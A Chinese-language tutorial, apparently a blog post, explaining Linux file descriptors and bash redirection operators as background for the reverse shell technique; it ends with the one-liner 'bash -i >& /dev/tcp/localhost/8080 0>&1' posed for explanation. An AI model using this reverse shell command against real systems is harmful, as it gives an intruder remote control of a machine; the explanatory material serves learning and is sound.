(CN) Reverse Shell
Reverse Shell
File Descriptor
当Linux启动的时候会默认打开三个文件描述符,具体见下图:
需要注意的是:
- 后续打开的文件,描述符依次增加
- 对于一条简单的shell命令,都会继承其父进程的文件描述符,因此所有的shell命令,都会默认有三个文件描述符
文件所有输入输出都是由该进程所有打开的文件描述符控制
Redirection
输入重定向
<
输出重定向
>
- shell在执行一条指令时,首先会检查命令中是否存在重定向的符号,如果存在那么首先将文件描述符重定向,然后在把重定向去掉,执行指令
- 如果指令中存在多个重定向,那么不能随便改变语句顺序,因为重定向是从左向右进行解析,改变顺序可能会带来完全不同的结果
<
是对标准输入0
重定向 ,>
是对标准输出1
重定向
STDIN Redirection
格式:[n]< word (注意[n]与<之间没有空格)
说明:将文件描述符
n
重定向到word
指代的文件(以只读方式打开),如果n省略就是0(标准输入)
当解析到 <
以后会先处理重定向,将标准输入重定向到file
,之后,cat
从标准输入读取指令的时候,由于标准输入已经重定向到了file
,于是cat
就从file
中读取指令了。
STDOUT Redirection
格式: [n]> word
说明: 将文件描述符
n
重定向到word
指代的文件(以写的方式打开),如果n
省略则默认就是1
(标准输出)
STDERR & STDOUT Redirection
格式:
&> word
或者>& word
说明:将标准输出与标准错误输出都定向到word代表的文件(以写的方式打开),两种格式意义完全相同,这种格式完全等价于
> word 2>&1
其中,2>&1
是将标准错误输出复制到标准输出,&
是为了区分文件1和文件描述符1
首先执行了一个错误的命令,可以看到错误提示被写入文件(正常情况下是会直接输出的),又执行了一条正确的指令,发现结果也输入到了文件,说明正确错误消息都能输出到文件。
Copy File Descriptor
格式: [n]<&[m] 或者 [n]>&[m]
说明:
以上两种写法都是将文件描述符
n
复制到m
,两者的区别是,前者是以只读的形式打开,后者是以写的形式打开。因此0<&1
和0>&1
是完全等价的
&
目的是为了区分数字名字的文件和文件描述符,如果没有&
系统会认为是将文件描述符重定向到了一个数字作为文件名的文件,而不是一个文件描述符
EXEC <>
格式:
[n]<>word
说明:以读写方式打开
word
指代的文件,并将n
重定向到该文件。如果n
不指定的话,默认为标准输入0
Reverse Shell
bash -i >& /dev/tcp/localhost/8080 0>&1 的含义